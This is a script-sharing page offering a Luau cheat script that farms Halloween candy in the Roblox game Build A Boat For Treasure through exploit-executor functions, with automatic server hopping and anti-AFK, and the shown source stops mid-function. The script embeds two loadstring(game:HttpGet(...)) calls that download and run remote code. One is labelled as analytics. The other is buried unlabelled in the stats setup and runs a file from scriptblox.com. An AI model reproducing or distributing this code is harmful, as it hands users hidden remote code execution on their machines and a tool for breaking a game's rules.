M
ScriptKeyless
candy farm 2026
Build A Boat For TreasureDesktop & mobile readyWave · Delta · Volt · Potassium
Description
candy farm 2026, self explanatory enjoy farms 1K + candy per hour
GAMEBuild A Boat For Treasure
UPDATEDOct 22, 2026
ACCESSKeyless
PLATFORMDesktop & Mobile
Script source Luau
-- [[ BloxScripts Risk Notice ]]
-- This script has not been verified by BloxScripts.fun. Deal with caution.
--
-- Stay safe:
-- • Never log in on unofficial Roblox sites or lookalike domains.
-- • Real Roblox links use roblox.com (check the .com ending).
-- • Treat fake Roblox login / "claim reward" pages as phishing.
-- [[ End BloxScripts Risk Notice ]]
--[[rscripts:analytics:start]]
-- Script analytics (enabled by the creator on rscripts.net).
-- Runs in its own thread and cannot affect the script below.
task.spawn(function()
pcall(function()
loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ada805377c260065ce56541"))()
end)
end)
--[[rscripts:analytics:end]]
local placeId = 537413528
if not game:IsLoaded() then
game.Loaded:Wait()
end
local environment = getgenv and getgenv() or _G
if environment.CandyFarm2026 and type(environment.CandyFarm2026.Unload) == "function" then
pcall(environment.CandyFarm2026.Unload)
end
local scriptState = { Alive = true, Connections = {} }
environment.CandyFarm2026 = scriptState
local function getService(serviceName)
local service = game:GetService(serviceName)
return cloneref and cloneref(service) or service
end
local players = getService("Players")
local runService = getService("RunService")
local httpService = getService("HttpService")
local teleportService = getService("TeleportService")
local starterGui = getService("StarterGui")
local userInputService = getService("UserInputService")
local coreGui = getService("CoreGui")
local localPlayer = players.LocalPlayer
while not localPlayer do
task.wait()
localPlayer = players.LocalPlayer
end
local function trackConnection(signal, callback)
local connection = signal:Connect(callback)
table.insert(scriptState.Connections, connection)
return connection
end
local executorApi = {
request = request or http_request or syn and syn.request or http and http.request or fluxus and fluxus.request,
queue = queue_on_teleport
or queueonteleport
or syn and syn.queue_on_teleport
or fluxus and fluxus.queue_on_teleport,
touch = firetouchinterest,
writefile = writefile,
readfile = readfile,
isfile = isfile,
isfolder = isfolder,
makefolder = makefolder,
}
local function notify(message, icon)
pcall(starterGui.SetCore, starterGui, "SendNotification", {
Title = "Candy Farm 2026",
Text = message,
Icon = icon or "rbxassetid://7781288646",
Duration = 4,
})
end
local candyTypes = {
{
Name = "CandyPink",
Label = "Pink",
Icon = "rbxassetid://7781284023",
Color = Color3.fromRGB(245, 120, 200),
},
{
Name = "CandyPurple",
Label = "Purple",
Icon = "rbxassetid://7781287748",
Color = Color3.fromRGB(160, 100, 240),
},
{
Name = "CandyBlue",
Label = "Blue",
Icon = "rbxassetid://7781285156",
Color = Color3.fromRGB(80, 160, 255),
},
{
Name = "CandyOrange",
Label = "Orange",
Icon = "rbxassetid://7781288646",
Color = Color3.fromRGB(255, 150, 40),
},
}
local function isCandyName(itemName)
return itemName:sub(1, 5) == "Candy" and itemName ~= "CandyCaneSwordMount"
end
local storage = {
Root = "_luau.pro/Games/Build A Boat For Treasure/strings",
Ok = type(executorApi.writefile) == "function" and type(executorApi.readfile) == "function" and type(
executorApi.isfolder
) == "function" and type(executorApi.makefolder) == "function",
}
function storage.path(filename)
return storage.Root .. "/" .. filename
end
function storage.ensure()
if not storage.Ok then
return false
end
local currentPath = ""
for pathSegment in storage.Root:gmatch("[^/]+") do
currentPath = currentPath == "" and pathSegment or currentPath .. "/" .. pathSegment
local folderCheckOk, folderExists = pcall(executorApi.isfolder, currentPath)
if not (folderCheckOk and folderExists) then
if not pcall(executorApi.makefolder, currentPath) then
storage.Ok = false
return false
end
end
end
return true
end
function storage.exists(filename)
if not storage.Ok then
return false
end
if type(executorApi.isfile) == "function" then
local fileCheckOk, fileExists = pcall(executorApi.isfile, storage.path(filename))
return fileCheckOk and fileExists == true
end
local readOk, contents = pcall(executorApi.readfile, storage.path(filename))
return readOk and type(contents) == "string"
end
function storage.readJSON(filename)
if not storage.exists(filename) then
return nil
end
local readOk, jsonText = pcall(executorApi.readfile, storage.path(filename))
if not readOk or type(jsonText) ~= "string" or jsonText == "" then
return nil
end
local decodeOk, decoded = pcall(httpService.JSONDecode, httpService, jsonText)
return decodeOk and type(decoded) == "table" and decoded or nil
end
function storage.writeJSON(filename, data)
if not storage.Ok then
return false
end
local encodeOk, jsonText = pcall(httpService.JSONEncode, httpService, data)
return encodeOk and pcall(executorApi.writefile, storage.path(filename), jsonText)
end
storage.ensure()
local config = storage.readJSON("candyfarm_config.json") or {}
local resumedFromHop = environment.CandyFarm2026FromHop == true
environment.CandyFarm2026FromHop = nil
if not resumedFromHop then
config.Loop = false
end
local function setConfigDefault(key, defaultValue)
if config[key] == nil then
config[key] = defaultValue
end
end
setConfigDefault("Loop", false)
setConfigDefault("HidePopups", true)
setConfigDefault("AntiAfk", true)
setConfigDefault("Minimized", false)
setConfigDefault("ThisServerOnly", false)
setConfigDefault("MaxPlayers", 5)
local function saveConfig()
storage.writeJSON("candyfarm_config.json", config)
end
local stats = storage.readJSON("candyfarm_stats.json") or {}
stats.Version = 1
stats.Total = stats.Total or {}
stats.Session = stats.Session or {}
stats.History = stats.History or {}
local function newStatsBucket()
return {
Candy = {},
Houses = 0,
Fakes = 0,
Servers = 0,
Seconds = 0,
Started = os.time(),
}
end
local function normalizeStatsBucket(statsBucket)
statsBucket.Candy = statsBucket.Candy or {}
statsBucket.Houses = statsBucket.Houses or 0
statsBucket.Fakes = statsBucket.Fakes or 0
statsBucket.Servers = statsBucket.Servers or 0
statsBucket.Seconds = statsBucket.Seconds or 0
statsBucket.Started = statsBucket.Started or os.time()
return statsBucket
end
normalizeStatsBucket(stats.Total)
normalizeStatsBucket(stats.Session)
pcall(function()
loadstring(game:HttpGet("https://scriptblox.com/ingest/clientv2.lua"))("proj_cfaad65e1225", "1.0.0", false)
end)
local statsDirty = false
local function saveStats(force)
if force or statsDirty then
statsDirty = false
storage.writeJSON("candyfarm_stats.json", stats)
end
end
local serverCache = storage.readJSON("candyfarm_servers.json") or {}
serverCache.List = serverCache.List or {}
serverCache.Visited = serverCache.Visited or {}
serverCache.Fetched = serverCache.Fetched or 0
local function saveServerCache()
storage.writeJSON("candyfarm_servers.json", serverCache)
end
do
local now = os.time()
for jobId, visitedAt in pairs(serverCache.Visited) do
if now - (tonumber(visitedAt) or 0) > 45 * 60 then
serverCache.Visited[jobId] = nil
end
end
serverCache.Visited[game.JobId] = now
end
local farmState = {
Farming = false,
Status = "Idle",
Here = { Candy = {}, Houses = 0 },
Hopping = false,
}
local function updateElapsedTime(keepRunning)
local now = os.time()
local sessionMark = stats.Session.Mark
local elapsedSeconds = sessionMark and math.max(0, now - sessionMark) or 0
stats.Total.Seconds = stats.Total.Seconds + elapsedSeconds
stats.Session.Seconds = stats.Session.Seconds + elapsedSeconds
stats.Session.Mark = keepRunning and now or nil
statsDirty = true
return elapsedSeconds
end
local ui
local function setStatus(statusText)
farmState.Status = statusText
if ui and ui.SetStatus then
ui.SetStatus(statusText)
end
end
local function recordCandyGains(gains)
for candyName, amount in pairs(gains) do
for bucketIndex, statsBucket in ipairs({ stats.Total, stats.Session, farmState.Here }) do
statsBucket.Candy[candyName] = (statsBucket.Candy[candyName] or 0) + amount
end
end
statsDirty = true
if ui then
ui.Refresh()
end
end
local function sumCounts(counts)
local total = 0
for countKey, amount in pairs(counts) do
total = total + amount
end
return total
end
local function logEvent(...)
if not storage.Ok then
return
end
local logParts = { os.date("%H:%M:%S"), string.sub(game.JobId, 1, 8) }
for argumentIndex, argument in ipairs({ ... }) do
table.insert(logParts, tostring(argument))
end
local logLine = table.concat(logParts, " ") .. "\n"
if type(appendfile) == "function" then
pcall(appendfile, storage.path("candyfarm_log.txt"), logLine)
end
end
if not config.Loop then
pcall(executorApi.writefile, storage.path("candyfarm_log.txt"), "")
end
logEvent("start", "loop=" .. tostring(config.Loop))
local playerData = localPlayer:WaitForChild("Data", 30)
local function snapshotCandy()
local snapshot = {}
if playerData then
for childIndex, dataValue in ipairs(playerData:GetChildren()) do
if dataValue:IsA("IntValue") and isCandyName(dataValue.Name) then
snapshot[dataValue.Name] = dataValue.Value
end
end
end
return snapshot
end
local function getCandyGains(before)
local current, gains = snapshotCandy(), {}
for candyName, currentAmount in pairs(current) do
local increase = currentAmount - (before[candyName] or currentAmount)
if increase > 0 then
gains[candyName] = increase
end
end
return gains
end
local function waitForStableData(timeout)
local startedAt = os.clock()
playerData = playerData or localPlayer:WaitForChild("Data", timeout)
if not playerData then
return false
end
local function dataFingerprint()
local fingerprint = #playerData:GetChildren()
local goldValue = playerData:FindFirstChild("Gold")
fingerprint = fingerprint * 7 + (goldValue and goldValue.Value or 0)
for candyName, amount in pairs(snapshotCandy()) do
fingerprint = fingerprint + #candyName * amount
end
return fingerprint
end
local previousFingerprint, lastChangedAt = dataFingerprint(), os.clock()
while os.clock() - startedAt < timeout do
task.wait(0.25)
local currentFingerprint = dataFingerprint()
if currentFingerprint ~= previousFingerprint then
previousFingerprint, lastChangedAt = currentFingerprint, os.clock()
elseif #playerData:GetChildren() >= 50 and os.clock() - lastChangedAt >= 1.5 then
return true
end
end
return false
end
local function updateRewardPopups()
pcall(function()
local popupScript = localPlayer.PlayerGui.ItemGained.DisplayGainedItem.LocalScript
popupScript.Disabled = config.HidePopups
if config.HidePopups then
for childIndex, popupGui in ipairs(popupScript:GetChildren()) do
if popupGui:IsA("ScreenGui") then
popupGui.Enabled = false
end
end
end
end)
end
local virtualUser = getService("VirtualUser")
trackConnection(localPlayer.Idled, function()
if config.AntiAfk then
pcall(function()
virtualUser:CaptureController()
virtualUser:ClickButton2(Vector2.new())
end)
end
end)
local claimedAttribute = "CF26Claimed"
local function getRootPart()
local character = localPlayer.Character
return character and character:FindFirstChild("HumanoidRootPart")
end
local function findAndMarkHouseTriggers()
local houses = workspace:FindFirstChild("Houses")
local triggers = {}
if not houses then
return triggers
end
for houseIndex, house in ipairs(houses:GetChildren()) do
local doorTrigger = house:FindFirstChild("Door")
doorTrigger = doorTrigger and doorTrigger:FindFirstChild("DoorInnerTouch")
or house:FindFirstChild("DoorInnerTouch", true)
local isRaisedHouse = house:GetPivot().Position.Y > 20
if
doorTrigger
and doorTrigger:IsA("BasePart")
and isRaisedHouse
and not house:GetAttribute(claimedAttribute)
then
house:SetAttribute(claimedAttribute, true)
table.insert(triggers, doorTrigger)
end
local giantHand = house:FindFirstChild("GiantHand")
if giantHand then
pcall(giantHand.Destroy, giantHand)
end
end
return triggers
end
local function moveTriggersToRoot(triggers, rootPart)
local heartbeatCount = 0
local heartbeatConnection
heartbeatConnection = runService.Heartbeat:Connect(function()
heartbeatCount = heartbeatCount + 1
for triggerIndex, doorTrigger in ipairs(triggers) do
if doorTrigger.Parent then
doorTrigger.CanCollide = false
doorTrigger.Transparency = 1
doorTrigger.CFrame = rootPart.CFrame
end
end
if heartbeatCount > 20 or not scriptState.Alive then
heartbeatConnection:Disconnect()
end
end)
end
local function touchAvailableHouses()
local rootPart = getRootPart()
if not rootPart then
return 0
end
local triggers = findAndMarkHouseTriggers()
if #triggers == 0 then
return 0
end
updateRewardPopups()
if type(executorApi.touch) == "function" then
for triggerIndex, doorTrigger in ipairs(triggers) do
pcall(executorApi.touch, rootPart, doorTrigger, 0)
end
task.wait()
for triggerIndex, doorTrigger in ipairs(triggers) do
pcall(executorApi.touch, rootPart, doorTrigger, 1)
end
else
moveTriggersToRoot(triggers, rootPart)
end
farmState.Here.Houses = farmState.Here.Houses + #triggers
stats.Total.Houses = stats.Total.Houses + #triggers
stats.Session.Houses = stats.Session.Houses + #triggers
statsDirty = true
if ui then
ui.Refresh()
end
return #triggers
end
local function waitForCandyRewards(before, expectedCount, timeout)
local startedAt = os.clock()
local firstRewardAt
while scriptState.Alive and os.clock() - startedAt < timeout do
local receivedCount = sumCounts(getCandyGains(before))
if receivedCount >= expectedCount then
break
end
if receivedCount > 0 then
firstRewardAt = firstRewardAt or os.clock()
if os.clock() - firstRewardAt >= 1.5 then
break
end
end
task.wait(0.1)
end
local gains = getCandyGains(before)
local receivedCount = sumCounts(gains)
recordCandyGains(gains)
local missingCount = math.max(0, expectedCount - receivedCount)
logEvent(
"rewards",
"fired=" .. expectedCount,
"got=" .. receivedCount,
"fakes=" .. missingCount,
string.format("%.1fs", os.clock() - startedAt)
)
stats.Total.Fakes = stats.Total.Fakes + missingCount
stats.Session.Fakes = stats.Session.Fakes + missingCount
statsDirty = true
return receivedCount, missingCount
end
local function waitForHouses(timeout)
local startedAt = os.clock()
local houses = workspace:FindFirstChild("Houses")
while not houses and os.clock() - startedAt < timeout do
task.wait(0.25)
houses = workspace:FindFirstChild("Houses")
end
if not houses then
return nil
end
local previousCount, lastChangedAt = -1, os.clock()
while os.clock() - startedAt < timeout do
local houseCount = #houses:GetChildren()
if houseCount ~= previousCount then
previousCount, lastChangedAt = houseCount, os.clock()
elseif houseCount >= 10 or houseCount > 0 and os.clock() - lastChangedAt > 1 then
break
end
task.wait(0.1)
end
return houses
end
local fetchingServers = false
local serverCacheLifetime = 2 * 60
local serverPrefetchThreshold = 50
local function fetchServerPage(refresh)
if fetchingServers or type(executorApi.request) ~= "function" then
return false
end
fetchingServers = true
local cursor = not refresh and serverCache.Cursor or nil
local url = string.format(
"https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Asc&limit=100&excludeFullGames=true%s",
placeId,
cursor and "&cursor=" .. httpService:UrlEncode(cursor) or ""
)
local requestOk, response = pcall(executorApi.request, { Url = url, Method = "GET" })
fetchingServers = false
if not requestOk or type(response) ~= "table" then
logEvent("servers", "request failed")
return false
end
if response.StatusCode == 429 then
logEvent("servers", "429 rate limited")
return false, 429
end
local decodeOk, serverPage = pcall(httpService.JSONDecode, httpService, response.Body or "")
if not decodeOk or type(serverPage) ~= "table" or type(serverPage.data) ~= "table" then
serverCache.Cursor = nil
logEvent("servers", "bad response", tostring(response.StatusCode))
return false
end
if refresh then
serverCache.List = {}
end
local knownServerIds = {}
for serverIndex, server in ipairs(serverCache.List) do
knownServerIds[server.id] = true
end
local addedCount = 0
for serverIndex, server in ipairs(serverPage.data) do
if
type(server) == "table"
and type(server.id) == "string"
and tonumber(server.playing)
and tonumber(server.maxPlayers)
and server.playing < server.maxPlayers
and not knownServerIds[server.id]
then
table.insert(serverCache.List, { id = server.id, playing = server.playing, max = server.maxPlayers })
addedCount = addedCount + 1
end
end
logEvent("servers", refresh and "refreshed" or "next page", "+" .. addedCount)
serverCache.Cursor = serverPage.nextPageCursor
serverCache.Fetched = os.time()
saveServerCache()
if ui then
ui.Refresh()
end
return true, addedCount
end
local function isServerCacheExpired()
return os.time() - (tonumber(serverCache.Fetched) or 0) > serverCacheLifetime
end
local function countUnvisitedServers()
local count = 0
for serverIndex, server in ipairs(serverCache.List) do
if not serverCache.Visited[server.id] then
count = count + 1
end
end
return count
end
local function takeNextServer()
for attempt = 1, 6 do
for selectionPass = 1, 2 do
for serverIndex, server in ipairs(serverCache.List) do
if
server.id ~= game.JobId
and not serverCache.Visited[server.id]
and (selectionPass == 2 or (server.playing or 0) <= config.MaxPlayers)
then
table.remove(serverCache.List, serverIndex)
saveServerCache()
return server
end
end
end
setStatus("Fetching servers...")
local fetched, fetchResult = fetchServerPage(#serverCache.List == 0 or isServerCacheExpired())
if not fetched then
task.wait(fetchResult == 429 and 4 * attempt or 2)
end
end
return nil
end
local function prefetchServers()
if isServerCacheExpired() then
task.spawn(fetchServerPage, true)
elseif countUnvisitedServers() < serverPrefetchThreshold then
task.spawn(fetchServerPage, false)
end
end
local function buildTeleportBootstrap()
local cachedScriptPath = storage.path("CandyFarm2026.lua")
local editionMarker = "-- CandyFarm2026 readable local copy - 2026-10-23"
return string.format(
[=[
if not game:IsLoaded() then
game.Loaded:Wait()
end
local cachedScriptPath = %q
local editionMarker = %q
if type(readfile) ~= "function" or type(loadstring) ~= "function" then
warn("Candy Farm: local file loading is unavailable; automatic resume stopped.")
return
end
local readOk, source = pcall(readfile, cachedScriptPath)
if not readOk or type(source) ~= "string" or source:match("^[^\r\n]*") ~= editionMarker then
warn("Candy Farm: the readable local copy is missing or outdated. Reinstall its cached file before hopping.")
return
end
local compileOk, compiledScript, compileError = pcall(loadstring, source, "@CandyFarm2026.lua")
if not compileOk or type(compiledScript) ~= "function" then
warn("Candy Farm: the local copy could not compile: " .. tostring(compileOk and compileError or compiledScript))
return
end
local environment = type(getgenv) == "function" and getgenv() or _G
environment.CandyFarm2026FromHop = true
local runOk, runError = pcall(compiledScript)
if not runOk then
environment.CandyFarm2026FromHop = nil
warn("Candy Farm: automatic resume failed: " .. tostring(runError))
end
]=],
cachedScriptPath,
editionMarker
)
end
local function recordServerVisit()
local serverStats = farmState.Here
stats.Total.Servers = stats.Total.Servers + 1
stats.Session.Servers = stats.Session.Servers + 1
local elapsedSeconds = updateElapsedTime(true)
table.insert(stats.History, 1, {
Time = os.time(),
JobId = game.JobId,
Players = #players:GetPlayers(),
Houses = serverStats.Houses,
Candy = serverStats.Candy,
Seconds = elapsedSeconds,
})
while #stats.History > 100 do
table.remove(stats.History)
end
saveStats(true)
end
local function hopServer()
if farmState.Hopping then
return
end
farmState.Hopping = true
recordServerVisit()
if type(executorApi.queue) == "function" then
pcall(executorApi.queue, buildTeleportBootstrap())
end
local fetchWaitStartedAt = os.clock()
while fetchingServers and os.clock() - fetchWaitStartedAt < 3 do
task.wait(0.1)
end
while scriptState.Alive and config.Loop do
local nextServer = takeNextServer()
if not nextServer then
setStatus("No server found, retrying...")
task.wait(5)
else
serverCache.Visited[nextServer.id] = os.time()
saveServerCache()
setStatus(string.format("Hopping (%d/%d players)...", nextServer.playing or 0, nextServer.max or 0))
logEvent(
"hop",
string.sub(nextServer.id, 1, 8),
(nextServer.playing or "?") .. "/" .. (nextServer.max or "?")
)
local teleportFailed = false
local teleportFailureConnection = teleportService.TeleportInitFailed:Connect(
function(player, teleportResult, errorMessage)
if player == localPlayer then
teleportFailed = true
logEvent("hop failed", tostring(teleportResult), tostring(errorMessage))
end
end
)
local teleportOk, teleportError =
pcall(teleportService.TeleportToPlaceInstance, teleportService, placeId, nextServer.id, localPlayer)
if not teleportOk then
logEvent("hop error", tostring(teleportError))
end
local teleportStartedAt = os.clock()
while teleportOk and not teleportFailed and scriptState.Alive and os.clock() - teleportStartedAt < 15 do
task.wait(0.25)
end
teleportFailureConnection:Disconnect()
task.wait(0.5)
end
end
farmState.Hopping = false
end
local function waitForRootPart(timeout)
local startedAt = os.clock()
local rootPart = getRootPart()
while not rootPart and scriptState.Alive and os.clock() - startedAt < timeout do
task.wait(0.25)
rootPart = getRootPart()
end
return rootPart
end
local function waitForFarmReady()
setStatus("Loading character...")
if not waitForRootPart(25) then
if scriptState.Alive then
logEvent("ready", "no character")
end
return nil
end
setStatus("Loading data...")
if not waitForStableData(12) then
logEvent("ready", "data not stable")
end
setStatus("Waiting for houses...")
return waitForHouses(12)
end
local function claimHouseBatch()
local before = snapshotCandy()
local triggeredCount = touchAvailableHouses()
if triggeredCount == 0 then
return 0, 0, 0
end
logEvent("claim", "fired=" .. triggeredCount, "players=" .. #players:GetPlayers())
if config.Loop then
prefetchServers()
end
setStatus(string.format("Claiming %d house%s...", triggeredCount, triggeredCount > 1 and "s" or ""))
local receivedCount, missingCount = waitForCandyRewards(before, triggeredCount, 8)
return triggeredCount, receivedCount, missingCount
end
local function farmThisServer()
farmState.Run = (farmState.Run or 0) + 1
local runId = farmState.Run
farmState.Farming = true
stats.Session.Mark = os.time()
local houses = waitForFarmReady()
if farmState.Run ~= runId or not farmState.Farming then
if farmState.Run == runId then
setStatus("Stopped")
end
return
end
if not houses then
updateElapsedTime(false)
setStatus("No Halloween houses here")
notify("No Halloween houses in this server.", "rbxassetid://7781250539")
farmState.Farming = false
if ui then
ui.Refresh()
end
return
end
setStatus("Waiting for new houses...")
while scriptState.Alive and farmState.Farming and farmState.Run == runId do
local triggeredCount, receivedCount = claimHouseBatch()
if triggeredCount > 0 then
setStatus(string.format("+%d candy. Waiting for new houses...", receivedCount))
end
task.wait(1)
end
if farmState.Run == runId and not config.Loop then
setStatus("Idle")
end
end
local function farmAndHop()
farmState.Run = (farmState.Run or 0) + 1
local runId = farmState.Run
local function isCurrentRun()
return scriptState.Alive and config.Loop and farmState.Run == runId
end
farmState.Farming = true
local houses = waitForFarmReady()
if not isCurrentRun() then
if farmState.Run == runId then
farmState.Farming = false
setStatus("Stopped")
end
return
end
if houses then
local triggeredCount, receivedCount, missingCount = claimHouseBatch()
if triggeredCount > 0 then
setStatus(string.format("+%d candy, %d fake", receivedCount, missingCount))
else
logEvent("claim", "no free house", "houses=" .. #houses:GetChildren())
setStatus("No free house here")
end
elseif scriptState.Alive then
logEvent("skip", "no houses or no character")
setStatus("No houses here, skipping server")
end
farmState.Farming = false
saveStats(true)
if isCurrentRun() then
if not fetchingServers then
prefetchServers()
end
hopServer()
end
end
local function startFarmLoop()
config.Loop = true
stats.Session.Mark = os.time()
saveConfig()
task.spawn(farmAndHop)
end
local function stopFarming()
config.Loop = false
farmState.Farming = false
updateElapsedTime(false)
saveConfig()
saveStats(true)
setStatus("Stopped")
end
ui = {}
do
local theme = {
Bg = Color3.fromRGB(16, 15, 14),
Line = Color3.fromRGB(46, 42, 38),
Track = Color3.fromRGB(58, 54, 50),
Text = Color3.fromRGB(230, 224, 212),
Dim = Color3.fromRGB(132, 125, 114),
Accent = Color3.fromRGB(240, 128, 34),
Stop = Color3.fromRGB(190, 62, 50),
}
local bodyFont = Enum.Font.RobotoMono
local headingFont = Enum.Font.GothamBold
local panelWidth, panelPadding = 260, 12
local function colorToHex(color)
return string.format("#%02x%02x%02x", color.R * 255, color.G * 255, color.B * 255)
end
local textColorHex = colorToHex(theme.Text)
local function createInstance(className, properties, children)
local instance = Instance.new(className)
for propertyName, propertyValue in pairs(properties) do
instance[propertyName] = propertyValue
end
for childIndex, child in ipairs(children or {}) do
child.Parent = instance
end
return instance
end
local function createLabel(properties)
properties.BackgroundTransparency = 1
properties.Font = properties.Font or bodyFont
properties.TextColor3 = properties.TextColor3 or theme.Dim
properties.TextSize = properties.TextSize or 13
properties.TextXAlignment = properties.TextXAlignment or Enum.TextXAlignment.Left
return createInstance("TextLabel", properties)
end
local function createTextButton(properties)
properties.BackgroundTransparency = 1
properties.AutoButtonColor = false
properties.Font = properties.Font or bodyFont
properties.TextColor3 = properties.TextColor3 or theme.Dim
properties.TextSize = properties.TextSize or 13
properties.TextXAlignment = properties.TextXAlignment or Enum.TextXAlignment.Left
return createInstance("TextButton", properties)
end
local function createSeparator(layoutOrder, parent)
return createInstance("Frame", {
Size = UDim2.new(1, 0, 0, 1),
BackgroundColor3 = theme.Line,
BorderSizePixel = 0,
LayoutOrder = layoutOrder,
Parent = parent,
})
end
local guiParent
pcall(function()
guiParent = gethui and gethui()
end)
if not guiParent then
local canAccessCoreGui = pcall(function()
local coreGuiName = coreGui.Name
end)
guiParent = canAccessCoreGui and coreGui or localPlayer:WaitForChild("PlayerGui")
end
local previousGui = guiParent:FindFirstChild("CandyFarm2026")
if previousGui then
previousGui:Destroy()
end
local screenGui = createInstance("ScreenGui", {
Name = "CandyFarm2026",
ResetOnSpawn = false,
ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
DisplayOrder = 50,
IgnoreGuiInset = false,
})
ui.Gui = screenGui
local mainPanel = createInstance("Frame", {
Name = "Main",
Size = UDim2.fromOffset(panelWidth, 0),
AutomaticSize = Enum.AutomaticSize.Y,
BackgroundColor3 = theme.Bg,
BorderSizePixel = 0,
Parent = screenGui,
}, {
createInstance("UICorner", { CornerRadius = UDim.new(0, 4) }),
createInstance("UIStroke", { Color = theme.Line, Thickness = 1 }),
createInstance("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder }),
})
local uiScale = createInstance("UIScale", { Parent = mainPanel })
pcall(function()
createInstance("UIShadow", {
Color = Color3.new(0, 0, 0),
Transparency = 0.45,
Offset = UDim2.fromOffset(0, 6),
BlurRadius = UDim.new(0, 20),
Parent = mainPanel,
})
end)
local titleBar = createInstance("Frame", {
Size = UDim2.new(1, 0, 0, 34),
BackgroundTransparency = 1,
LayoutOrder = 1,
Parent = mainPanel,
})
createLabel({
Text = "CANDY FARM 2026",
Font = headingFont,
TextSize = 13,
TextColor3 = theme.Text,
Size = UDim2.new(1, -panelPadding - 68, 1, 0),
Position = UDim2.fromOffset(panelPadding, 0),
Parent = titleBar,
})
local function createTitleButton(xOffset)
return createTextButton({
Text = "",
Size = UDim2.fromOffset(34, 34),
Position = UDim2.new(1, xOffset, 0, 0),
Parent = titleBar,
})
end
local function createIconBar(parent, width, height, rotation)
return createInstance("Frame", {
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.fromScale(0.5, 0.5),
Size = UDim2.fromOffset(width, height),
Rotation = rotation or 0,
BackgroundColor3 = theme.Dim,
BorderSizePixel = 0,
Parent = parent,
})
end
local minimizeButton = createTitleButton(-68)
createIconBar(minimizeButton, 10, 2)
local expandIconBar = createIconBar(minimizeButton, 2, 10)
local closeButton = createTitleButton(-34)
createIconBar(closeButton, 12, 2, 45)
createIconBar(closeButton, 12, 2, -45)
local content = createInstance("Frame", {
Size = UDim2.new(1, 0, 0, 0),
AutomaticSize = Enum.AutomaticSize.Y,
BackgroundTransparency = 1,
LayoutOrder = 2,
Parent = mainPanel,
}, {
createInstance("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, Padding = UDim.new(0, 8) }),
createInstance("UIPadding", {
PaddingLeft = UDim.new(0, panelPadding),
PaddingRight = UDim.new(0, panelPadding),
PaddingBottom = UDim.new(0, panelPadding),
}),
})
createSeparator(0, content)
local candyCountersRow = createInstance("Frame", {
Size = UDim2.new(1, 0, 0, 38),
BackgroundTransparency = 1,
LayoutOrder = 1,
Parent = content,
})
local candyCountersLayout = createInstance("UIListLayout", {
FillDirection = Enum.FillDirection.Horizontal,
SortOrder = Enum.SortOrder.LayoutOrder,
Parent = candyCountersRow,
})
local supportsHorizontalFlex = pcall(function()
candyCountersLayout.HorizontalFlex = Enum.UIFlexAlignment.SpaceBetween
end)
local candyLabels = {}
for candyIndex, candyType in ipairs(candyTypes) do
local candyColumn = createInstance("Frame", {
Size = supportsHorizontalFlex and UDim2.fromOffset(0, 38) or UDim2.new(1 / #candyTypes, 0, 0, 38),
AutomaticSize = supportsHorizontalFlex and Enum.AutomaticSize.X or Enum.AutomaticSize.None,
BackgroundTransparency = 1,
LayoutOrder = candyIndex,
Parent = candyCountersRow,
}, {
createInstance("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, Padding = UDim.new(0, 2) }),
})
local candyHeadingRow = createInstance("Frame", {
Size = UDim2.fromOffset(0, 20),
AutomaticSize = Enum.AutomaticSize.X,
BackgroundTransparency = 1,
LayoutOrder = 1,
Parent = candyColumn,
}, {
createInstance("UIListLayout", {
FillDirection = Enum.FillDirection.Horizontal,
VerticalAlignment = Enum.VerticalAlignment.Center,
SortOrder = Enum.SortOrder.LayoutOrder,
Padding = UDim.new(0, 5),
}),
})
createInstance("ImageLabel", {
Image = candyType.Icon,
BackgroundTransparency = 1,
ScaleType = Enum.ScaleType.Fit,
Size = UDim2.fromOffset(20, 20),
LayoutOrder = 1,
Parent = candyHeadingRow,
})
candyLabels[candyType.Name] = {
Session = createLabel({
Text = "0",
TextSize = 17,
TextColor3 = theme.Text,
Size = UDim2.fromOffset(0, 20),
AutomaticSize = Enum.AutomaticSize.X,
LayoutOrder = 2,
Parent = candyHeadingRow,
}),
Total = createLabel({
Text = "0",
TextSize = 11,
Size = UDim2.fromOffset(0, 14),
AutomaticSize = Enum.AutomaticSize.X,
LayoutOrder = 2,
Parent = candyColumn,
}),
}
end
local statsRows = createInstance("Frame", {
Size = UDim2.new(1, 0, 0, 0),
AutomaticSize = Enum.AutomaticSize.Y,
BackgroundTransparency = 1,
LayoutOrder = 2,
Parent = content,
}, {
createInstance("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, Padding = UDim.new(0, 3) }),
})
local function createStatsRow(layoutOrder)
return createLabel({
Text = "",
RichText = true,
TextSize = 12,
Size = UDim2.new(1, 0, 0, 16),
LayoutOrder = layoutOrder,
Parent = statsRows,
})
end
local houseStatsLabel = createStatsRow(1)
local timeStatsLabel = createStatsRow(2)
createSeparator(3, content)
local farmControls = createInstance("Frame", {
Size = UDim2.new(1, 0, 0, 0),
AutomaticSize = Enum.AutomaticSize.Y,
BackgroundTransparency = 1,
LayoutOrder = 4,
Parent = content,
}, {
createInstance("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, Padding = UDim.new(0, 4) }),
})
local farmButton = createInstance("TextButton", {
Text = "Start Candy Farm",
Font = headingFont,
TextSize = 13,
TextColor3 = theme.Bg,
BackgroundColor3 = theme.Accent,
AutoButtonColor = true,
BorderSizePixel = 0,
Size = UDim2.new(1, 0, 0, 34),
LayoutOrder = 1,
Parent = farmControls,
}, { createInstance("UICorner", { CornerRadius = UDim.new(0, 3) }) })
local farmModeLabel = createLabel({
Text = "",
TextSize = 11,
TextXAlignment = Enum.TextXAlignment.Center,
Size = UDim2.new(1, 0, 0, 14),
LayoutOrder = 2,
Parent = farmControls,
})
local settingsRows = createInstance("Frame", {
Size = UDim2.new(1, 0, 0, 0),
AutomaticSize = Enum.AutomaticSize.Y,
BackgroundTransparency = 1,
LayoutOrder = 5,
Parent = content,
}, {
createInstance("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, Padding = UDim.new(0, 2) }),
})
local toggleRefreshers = {}
local function createToggle(label, configKey, layoutOrder, isDisabled, onChanged)
local toggleButton = createTextButton({
Text = "",
Size = UDim2.new(1, 0, 0, 26),
LayoutOrder = layoutOrder,
Parent = settingsRows,
})
